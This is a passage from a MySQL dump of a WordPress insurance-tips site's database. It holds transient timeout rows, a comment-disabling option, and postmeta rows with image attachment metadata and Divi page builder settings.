','no'),(720969,'_site_transient_timeout_g_url_details_response_3c9ba2dc0e56129626cc1ba5a81eecd9','1690785304','no'),(777679,'_site_transient_timeout_g_url_details_response_5dbccedece231bcc6b29e88c519da68f','1698368731','no'),(824833,'_transient_timeout_feed_d117b5738fbd35bd8c0391cda1f2b5d9','1716708966','no'),(777675,'_site_transient_timeout_g_url_details_response_f86ad2758effc2fbb5f4f32bbeb8d6c2','1698368655','no'),(777676,'_site_transient_timeout_g_url_details_response_dfa426ccb6a79b90a71b9f2ae1bce7ad','1698368681','no'),(601610,'_site_transient_timeout_g_url_details_response_18abe80c2e6046f9c39b67257efb9d07','1685381882','no'),(720964,'_site_transient_timeout_g_url_details_response_fd1baf89592d5f41fa2fa148bd53b658','1690785262','no'),(821546,'_site_transient_timeout_g_url_details_response_5d0d2d1b4491dbd19f91fe35251bfbd4','1716178163','no'),(719031,'_site_transient_timeout_g_url_details_response_85c5cc1670ff892ab41dd8b96d7fa0f5','1690718537','no'),(789897,'_site_transient_timeout_g_url_details_response_4f3d44ffaadaf6f9d6a259d5b850d97c','1711766352','no'),(776166,'_site_transient_timeout_g_url_details_response_b83d0553b786511371d2da82d5a550c0','1695932542','no'),(601549,'_site_transient_timeout_g_url_details_response_86a0ecacedf3f54f4dbf10ae74656bcd','1685381074','no'),(777793,'_site_transient_timeout_g_url_details_response_2a916abd8b9f0699b24506381b09f04c','1698426037','no'),(551847,'_site_transient_timeout_g_url_details_response_c960128ba094b1544ca6c901faba4468','1682622904','no'),(776145,'_site_transient_timeout_g_url_details_response_52ddb415259efeba5a4b65cc4b2161df','1695930821','no'),(776146,'_site_transient_timeout_g_url_details_response_3274ce017533697feb1315362c84615f','1695930837','no'),(718591,'_site_transient_timeout_g_url_details_response_b07218706e576ce6f7a4065029232441','1690697568','no'),(776136,'_site_transient_timeout_g_url_details_response_aee1c5fd86aa89d3cca96f678aae96ef','1695930740','no'),(779227,'_site_transient_timeout_g_url_details_response_35206371c4c26532d921954037edae33','1700676681','no'),(779217,'_site_transient_timeout_g_url_details_response_fdef08fa55bd5becdc652dfa62fe24d5','1700676533','no'),(776057,'_site_transient_timeout_g_url_details_response_2f7ba59cd7573ba4ad119636baca52d9','1695923604','no'),(776356,'_site_transient_timeout_g_url_details_response_6b4480ef58378f490e871e6e97db3b15','1696130244','no'),(658733,'_site_transient_timeout_g_url_details_response_85bdf73efcedcc4137e2895fe5c5199a','1688108776','no'),(658734,'_site_transient_timeout_g_url_details_response_edc2e3910f2eb27191100177ca1602ca','1688108780','no'),(776125,'_site_transient_timeout_g_url_details_response_5c15043210a25ab01f47d8471dfa6749','1695930511','no'),(776122,'_site_transient_timeout_g_url_details_response_da5e0eed4b81b2fee1a4c757442b9876','1695930488','no'),(776109,'_site_transient_timeout_g_url_details_response_54f7e7ddcd201dcb0fec078bc222414d','1695926546','no'),(806374,'_site_transient_timeout_g_url_details_response_caae4baad2a70d0428a22309647e0cec','1714299071','no'),(658739,'_site_transient_timeout_g_url_details_response_f9fe8d98108d923030578a0c1d7dda32','1688108788','no'),(778589,'disable_comments_options','a:8:{s:16:\"is_network_admin\";b:0;s:17:\"remove_everywhere\";b:0;s:19:\"disabled_post_types\";a:3:{i:0;s:4:\"post\";i:1;s:4:\"page\";i:2;s:10:\"attachment\";}s:22:\"enable_exclude_by_role\";s:1:\"0\";s:22:\"remove_xmlrpc_comments\";i:1;s:24:\"remove_rest_API_comments\";i:1;s:10:\"db_version\";i:7;s:14:\"settings_saved\";b:1;}','yes'),(784681,'_site_transient_timeout_g_url_details_response_7ebc4dfe6445be329850bfcc616d9ba8','1709054937','no'),(720724,'_site_transient_timeout_g_url_details_response_ccbb319699cbadc9db3a828bff0ea879','1690777442','no'),(658746,'_site_transient_timeout_g_url_details_response_f3e0c40a92cda6ad1b7463cb4c06d3f5','1688108797','no'),(658747,'_site_transient_timeout_g_url_details_response_34c5cfd281f42ace70983e5629621d9b','1688108801','no'),(658748,'_site_transient_timeout_g_url_details_response_1ea628974b64c9ef955f4fc3cd4c58fd','1688108808','no'),(720722,'_site_transient_timeout_g_url_details_response_44cfbd49a3dff49e99d90ae4df44ccaa','1690777437','no'),(658752,'_site_transient_timeout_g_url_details_response_64b2ef514b342d4b49c244f3056dc8e7','1688108822','no');

--
-- Table structure for table `smart_postmeta`
--

CREATE TABLE `smart_postmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`meta_id`),
  KEY `post_id` (`post_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=MyISAM AUTO_INCREMENT=10452 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_postmeta`
--

INSERT INTO `smart_postmeta` VALUES (2,3,'_wp_page_template','default'),(4,5,'_wp_attached_file','2019/12/13-marketing-campaigns.png'),(5,5,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1075;s:6:\"height\";i:771;s:4:\"file\";s:34:\"2019/12/13-marketing-campaigns.png\";s:5:\"sizes\";a:4:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"13-marketing-campaigns-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"13-marketing-campaigns-300x215.png\";s:5:\"width\";i:300;s:6:\"height\";i:215;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:34:\"13-marketing-campaigns-768x551.png\";s:5:\"width\";i:768;s:6:\"height\";i:551;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"13-marketing-campaigns-1024x734.png\";s:5:\"width\";i:1024;s:6:\"height\";i:734;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(10,8,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1920;s:6:\"height\";i:1080;s:4:\"file\";s:47:\"2019/12/Screenshot-2019-11-28-at-9.59.07-AM.png\";s:5:\"sizes\";a:6:{s:6:\"medium\";a:4:{s:4:\"file\";s:47:\"Screenshot-2019-11-28-at-9.59.07-AM-300x169.png\";s:5:\"width\";i:300;s:6:\"height\";i:169;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:48:\"Screenshot-2019-11-28-at-9.59.07-AM-1024x576.png\";s:5:\"width\";i:1024;s:6:\"height\";i:576;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:47:\"Screenshot-2019-11-28-at-9.59.07-AM-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:47:\"Screenshot-2019-11-28-at-9.59.07-AM-768x432.png\";s:5:\"width\";i:768;s:6:\"height\";i:432;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:48:\"Screenshot-2019-11-28-at-9.59.07-AM-1536x864.png\";s:5:\"width\";i:1536;s:6:\"height\";i:864;s:9:\"mime-type\";s:9:\"image/png\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:48:\"Screenshot-2019-11-28-at-9.59.07-AM-1200x675.png\";s:5:\"width\";i:1200;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(9,8,'_wp_attached_file','2019/12/Screenshot-2019-11-28-at-9.59.07-AM.png'),(413,160,'_et_pb_side_nav','off'),(414,160,'_et_pb_use_builder','on'),(14,13,'_edit_lock','1576911598:1'),(15,13,'_wp_page_template','templates/template-full-width.php'),(411,160,'_et_pb_post_hide_nav','default'),(412,160,'_et_pb_page_layout','et_right_sidebar'),(20,19,'_et_pb_use_builder','on'),(21,19,'_et_pb_show_page_creation','on'),(22,21,'_et_autogenerated_title','0'),(23,21,'_et_default','1'),(24,21,'_et_enabled','1'),(25,21,'_et_header_layout_id','19'),(26,21,'_et_header_layout_enabled','1'),(27,21,'_et_body_layout_id','0'),(28,21,'_et_body_layout_enabled','1'),(29,21,'_et_footer_layout_id','22'),(30,21,'_et_footer_layout_enabled','1'),(32,22,'_et_pb_use_builder','on'),(33,22,'_et_pb_show_page_creation','on'),(34,23,'_wp_attached_file','2019/12/insurance-01.png'),(35,23,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:3400;s:6:\"height\";i:1650;s:4:\"file\";s:24:\"2019/12/insurance-01.png\";s:5:\"sizes\";a:21:{s:6:\"medium\";a:4:{s:4:\"file\";s:24:\"insurance-01-300x146.png\";s:5:\"width\";i:300;s:6:\"height\";i:146;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:25:\"insurance-01-1024x497.png\";s:5:\"width\";i:1024;s:6:\"height\";i:497;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:24:\"insurance-01-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:24:\"insurance-01-768x373.png\";s:5:\"width\";i:768;s:6:\"height\";i:373;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:25:\"insurance-01-1536x745.png\";s:5:\"width\";i:1536;s:6:\"height\";i:745;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:25:\"insurance-01-2048x994.png\";s:5:\"width\";i:2048;s:6:\"height\";i:994;s:9:\"mime-type\";s:9:\"image/png\";}s:14:\"portfolio-full\";a:4:{s:4:\"file\";s:24:\"insurance-01-940x400.png\";s:5:\"width\";i:940;s:6:\"height\";i:400;s:9:\"mime-type\";s:9:\"image/png\";}s:13:\"portfolio-one\";a:4:{s:4:\"file\";s:24:\"insurance-01-540x272.png\";s:5:\"width\";i:540;s:6:\"height\";i:272;s:9:\"mime-type\";s:9:\"image/png\";}s:13:\"portfolio-two\";a:4:{s:4:\"file\";s:24:\"insurance-01-460x295.png\";s:5:\"width\";i:460;s:6:\"height\";i:295;s:9:\"mime-type\";s:9:\"image/png\";}s:15:\"portfolio-three\";a:4:{s:4:\"file\";s:24:\"insurance-01-300x214.png\";s:5:\"width\";i:300;s:6:\"height\";i:214;s:9:\"mime-type\";s:9:\"image/png\";}s:14:\"portfolio-five\";a:4:{s:4:\"file\";s:24:\"insurance-01-177x142.png\";s:5:\"width\";i:177;s:6:\"height\";i:142;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:24:\"insurance-01-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:25:\"insurance-01-1080x675.png\";s:5:\"width\";i:1080;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:24:\"insurance-01-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:24:\"insurance-01-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:25:\"insurance-01-1080x524.png\";s:5:\"width\";i:1080;s:6:\"height\";i:524;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:24:\"insurance-01-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:37:\"et-pb-post-main-image-fullwidth-large\";a:4:{s:4:\"file\";s:26:\"insurance-01-2880x1650.png\";s:5:\"width\";i:2880;s:6:\"height\";i:1650;s:9:\"mime-type\";s:9:\"image/png\";}s:32:\"et-pb-image--responsive--desktop\";a:4:{s:4:\"file\";s:25:\"insurance-01-1280x621.png\";s:5:\"width\";i:1280;s:6:\"height\";i:621;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:24:\"insurance-01-980x476.png\";s:5:\"width\";i:980;s:6:\"height\";i:476;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:24:\"insurance-01-480x233.png\";s:5:\"width\";i:480;s:6:\"height\";i:233;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(37,26,'_et_autogenerated_title','0'),(38,26,'_et_default','1'),(39,26,'_et_enabled','1'),(40,26,'_et_header_layout_id','27'),(41,26,'_et_header_layout_enabled','1'),(42,26,'_et_body_layout_id','29'),(43,26,'_et_body_layout_enabled','1'),(44,26,'_et_footer_layout_id','0'),(45,26,'_et_footer_layout_enabled','1'),(150,46,'_et_autogenerated_title','0'),(410,160,'_edit_last','1'),(409,160,'_edit_lock','1585006756:1'),(408,156,'_et_pb_show_page_creation','off'),(50,21,'_et_theme_builder_marked_as_unused','2019-12-21 03:10:18'),(53,22,'_et_theme_builder_marked_as_unused','2019-12-21 03:17:47'),(54,19,'_et_theme_builder_marked_as_unused','2019-12-21 03:17:47'),(55,27,'_et_pb_use_builder','on'),(56,27,'_et_pb_show_page_creation','on'),(57,29,'_et_pb_use_builder','on'),(71,31,'_et_pb_module_type','et_pb_unknown'),(59,29,'_et_pb_built_for_post_type','page'),(60,29,'_et_pb_ab_subjects',''),(61,29,'_et_pb_enable_shortcode_tracking',''),(62,29,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"29\" /]'),(63,29,'_et_pb_custom_css',''),(64,29,'_et_pb_gutter_width','3'),(65,29,'_thumbnail_id',''),(66,29,'_et_pb_first_image',''),(67,29,'_et_pb_truncate_post',''),(68,29,'_et_pb_truncate_post_date',''),(69,29,'_et_builder_version','VB|Divi|4.0.9'),(72,31,'_et_pb_excluded_global_options','[]'),(73,31,'_et_pb_built_for_post_type','page'),(74,31,'_edit_lock','1576899594:1'),(75,32,'_et_pb_use_builder','on'),(76,32,'_et_pb_show_page_creation','on'),(77,34,'_et_autogenerated_title','0'),(78,34,'_et_default','1'),(79,34,'_et_enabled','1'),(80,34,'_et_header_layout_id','38'),(81,34,'_et_header_layout_enabled','1'),(82,34,'_et_body_layout_id','0'),(83,34,'_et_body_layout_enabled','1'),(84,34,'_et_footer_layout_id','0'),(85,34,'_et_footer_layout_enabled','1'),(114,39,'_et_autogenerated_title','1'),(87,35,'_et_autogenerated_title','1'),(88,35,'_et_default','0'),(89,35,'_et_enabled','1'),(90,35,'_et_header_layout_id','32'),(91,35,'_et_header_layout_enabled','1'),(92,35,'_et_body_layout_id','0'),(93,35,'_et_body_layout_enabled','1'),(94,35,'_et_footer_layout_id','0'),(95,35,'_et_footer_layout_enabled','1'),(406,156,'_et_pb_truncate_post_date',''),(405,156,'_et_pb_truncate_post',''),(98,36,'_edit_last','1'),(99,36,'_wp_page_template','default'),(100,36,'_et_pb_post_hide_nav','default'),(101,36,'_et_pb_page_layout','et_right_sidebar'),(102,36,'_et_pb_side_nav','on'),(103,36,'fusion_builder_status',''),(104,36,'_et_pb_use_builder','on'),(105,36,'_et_pb_first_image',''),(106,36,'_et_pb_truncate_post',''),(107,36,'_et_pb_truncate_post_date',''),(108,36,'_et_pb_old_content',''),(109,36,'_edit_lock','1580169270:1'),(110,38,'_et_pb_use_builder','on'),(137,1,'et_enqueued_post_fonts','a:2:{s:6:\"family\";a:1:{s:16:\"et-gf-montserrat\";s:137:\"Montserrat:100,100italic,200,200italic,300,300italic,regular,italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic\";}s:6:\"subset\";a:2:{i:0;s:5:\"latin\";i:1;s:9:\"latin-ext\";}}'),(115,39,'_et_default','0'),(116,39,'_et_enabled','1'),(117,39,'_et_header_layout_id','38'),(118,39,'_et_header_layout_enabled','1'),(119,39,'_et_body_layout_id','0'),(120,39,'_et_body_layout_enabled','1'),(121,39,'_et_footer_layout_id','0'),(122,39,'_et_footer_layout_enabled','1'),(123,39,'_et_use_on','singular:post_type:page:all'),(124,39,'_et_use_on','singular:post_type:page:children:id:36'),(404,156,'_et_pb_first_image',''),(126,38,'_et_pb_built_for_post_type','page'),(127,38,'_et_pb_ab_subjects',''),(128,38,'_et_pb_enable_shortcode_tracking',''),(129,38,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"38\" /]'),(130,38,'_et_pb_custom_css',''),(131,38,'_et_pb_gutter_width','3'),(132,38,'_thumbnail_id',''),(133,38,'_et_pb_first_image',''),(134,38,'_et_pb_truncate_post',''),(135,38,'_et_pb_truncate_post_date',''),(136,38,'_et_builder_version','VB|Divi|4.0.9'),(138,13,'et_enqueued_post_fonts','a:2:{s:6:\"family\";a:1:{s:16:\"et-gf-montserrat\";s:137:\"Montserrat:100,100italic,200,200italic,300,300italic,regular,italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic\";}s:6:\"subset\";a:2:{i:0;s:5:\"latin\";i:1;s:9:\"latin-ext\";}}'),(139,45,'_et_pb_use_builder','on'),(140,45,'_et_pb_show_page_creation','on'),(141,45,'_et_pb_use_builder','on'),(142,45,'_et_pb_built_for_post_type','page'),(143,45,'_et_pb_enable_shortcode_tracking',''),(144,45,'_et_pb_custom_css',''),(145,45,'_et_pb_gutter_width','3'),(146,45,'_et_pb_first_image',''),(147,45,'_et_pb_truncate_post',''),(148,45,'_et_pb_truncate_post_date',''),(149,45,'_et_builder_version','VB|Divi|4.0.9'),(151,46,'_et_default','1'),(152,46,'_et_enabled','1'),(153,46,'_et_header_layout_id','0'),(154,46,'_et_header_layout_enabled','1'),(155,46,'_et_body_layout_id','0'),(156,46,'_et_body_layout_enabled','1'),(157,46,'_et_footer_layout_id','0'),(158,46,'_et_footer_layout_enabled','1'),(159,25,'_et_template','46'),(160,47,'_et_autogenerated_title','1'),(161,47,'_et_default','0'),(162,47,'_et_enabled','1'),(163,47,'_et_header_layout_id','0'),(164,47,'_et_header_layout_enabled','1'),(165,47,'_et_body_layout_id','0'),(166,47,'_et_body_layout_enabled','1'),(167,47,'_et_footer_layout_id','0'),(168,47,'_et_footer_layout_enabled','1'),(169,25,'_et_template','47'),(170,48,'_et_autogenerated_title','1'),(171,48,'_et_default','0'),(172,48,'_et_enabled','1'),(173,48,'_et_header_layout_id','0'),(174,48,'_et_header_layout_enabled','1'),(175,48,'_et_body_layout_id','0'),(176,48,'_et_body_layout_enabled','1'),(177,48,'_et_footer_layout_id','0'),(178,48,'_et_footer_layout_enabled','1'),(179,48,'_et_use_on','singular:post_type:page:all'),(180,48,'_et_use_on','singular:post_type:page:children:id:36'),(181,25,'_et_template','48'),(407,156,'_et_builder_version','VB|Divi|4.0.9'),(403,156,'_thumbnail_id',''),(185,45,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(186,39,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(187,38,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(188,34,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(189,35,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(190,32,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(191,29,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(192,27,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(193,26,'_et_theme_builder_marked_as_unused','2019-12-22 01:08:29'),(194,36,'_et_pb_built_for_post_type','page'),(195,36,'_et_pb_ab_subjects',''),(196,36,'_et_pb_enable_shortcode_tracking',''),(197,36,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"36\" /]'),(198,36,'_et_pb_custom_css',''),(199,36,'_et_pb_gutter_width','3'),(200,36,'_thumbnail_id',''),(201,36,'_et_builder_version','VB|Divi|4.0.9'),(487,36,'_et_pb_show_page_creation','off'),(401,156,'_et_pb_custom_css',''),(402,156,'_et_pb_gutter_width','3'),(206,57,'_wp_attached_file','2019/12/SmartInsuranceTips.png'),(207,57,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:452;s:6:\"height\";i:84;s:4:\"file\";s:30:\"2019/12/SmartInsuranceTips.png\";s:5:\"sizes\";a:5:{s:6:\"medium\";a:4:{s:4:\"file\";s:29:\"SmartInsuranceTips-300x56.png\";s:5:\"width\";i:300;s:6:\"height\";i:56;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:29:\"SmartInsuranceTips-150x84.png\";s:5:\"width\";i:150;s:6:\"height\";i:84;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:29:\"SmartInsuranceTips-400x84.png\";s:5:\"width\";i:400;s:6:\"height\";i:84;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:29:\"SmartInsuranceTips-400x84.png\";s:5:\"width\";i:400;s:6:\"height\";i:84;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:29:\"SmartInsuranceTips-400x84.png\";s:5:\"width\";i:400;s:6:\"height\";i:84;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(208,57,'_wp_attachment_image_alt','Smart Insurance Tips'),(400,156,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"156\" /]'),(399,156,'_et_pb_enable_shortcode_tracking',''),(6981,2379,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1209;s:6:\"height\";i:405;s:4:\"file\";s:35:\"2022/04/down-payment-on-summary.png\";s:5:\"sizes\";a:4:{s:6:\"medium\";a:4:{s:4:\"file\";s:35:\"down-payment-on-summary-300x100.png\";s:5:\"width\";i:300;s:6:\"height\";i:100;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:36:\"down-payment-on-summary-1024x343.png\";s:5:\"width\";i:1024;s:6:\"height\";i:343;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:35:\"down-payment-on-summary-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"down-payment-on-summary-768x257.png\";s:5:\"width\";i:768;s:6:\"height\";i:257;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(6980,2379,'_wp_attached_file','2022/04/down-payment-on-summary.png'),(398,156,'_et_pb_ab_subjects',''),(397,156,'_et_pb_built_for_post_type','page'),(396,156,'_et_pb_side_nav','off'),(395,156,'_et_pb_page_layout','et_right_sidebar'),(394,156,'_et_pb_post_hide_nav','default'),(393,156,'_edit_last','1'),(392,156,'_et_pb_use_builder','on'),(391,156,'_edit_lock','1579912397:1'),(488,195,'_edit_lock','1582650605:1'),(230,67,'_et_pb_built_for_post_type','page'),(231,68,'_edit_lock','1576979172:1'),(232,68,'_et_pb_use_builder','on'),(233,68,'_edit_last','1'),(234,68,'_et_pb_post_hide_nav','default'),(235,68,'_et_pb_page_layout','et_right_sidebar'),(236,68,'_et_pb_side_nav','off'),(237,68,'_et_pb_built_for_post_type','page'),(238,68,'_et_pb_ab_subjects',''),(239,68,'_et_pb_enable_shortcode_tracking',''),(240,68,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"68\" /]'),(241,68,'_et_pb_custom_css',''),(242,68,'_et_pb_gutter_width','3'),(243,68,'_thumbnail_id',''),(244,68,'_et_pb_first_image',''),(245,68,'_et_pb_truncate_post',''),(246,68,'_et_pb_truncate_post_date',''),(247,68,'_et_builder_version','VB|Divi|4.0.9'),(248,68,'_et_pb_show_page_creation','off'),(249,72,'_edit_lock','1576979328:1'),(250,72,'_et_pb_use_builder','on'),(251,72,'_edit_last','1'),(252,72,'_et_pb_post_hide_nav','default'),(253,72,'_et_pb_page_layout','et_right_sidebar'),(254,72,'_et_pb_side_nav','off'),(255,72,'_et_pb_built_for_post_type','page'),(256,72,'_et_pb_ab_subjects',''),(257,72,'_et_pb_enable_shortcode_tracking',''),(258,72,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"72\" /]'),(259,72,'_et_pb_custom_css',''),(260,72,'_et_pb_gutter_width','3'),(261,72,'_thumbnail_id',''),(262,72,'_et_pb_first_image',''),(263,72,'_et_pb_truncate_post',''),(264,72,'_et_pb_truncate_post_date',''),(265,72,'_et_builder_version','VB|Divi|4.0.9'),(266,72,'_et_pb_show_page_creation','off'),(273,83,'_edit_lock','1577130904:1'),(274,83,'_et_pb_use_builder','on'),(275,83,'_edit_last','1'),(276,83,'_et_pb_post_hide_nav','default'),(277,83,'_et_pb_page_layout','et_right_sidebar'),(278,83,'_et_pb_side_nav','off'),(279,86,'_wp_attached_file','2019/12/miller.png'),(280,86,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:768;s:6:\"height\";i:440;s:4:\"file\";s:18:\"2019/12/miller.png\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:18:\"miller-300x172.png\";s:5:\"width\";i:300;s:6:\"height\";i:172;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:18:\"miller-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:18:\"miller-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:18:\"miller-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:18:\"miller-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:18:\"miller-400x440.png\";s:5:\"width\";i:400;s:6:\"height\";i:440;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:18:\"miller-480x275.png\";s:5:\"width\";i:480;s:6:\"height\";i:275;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0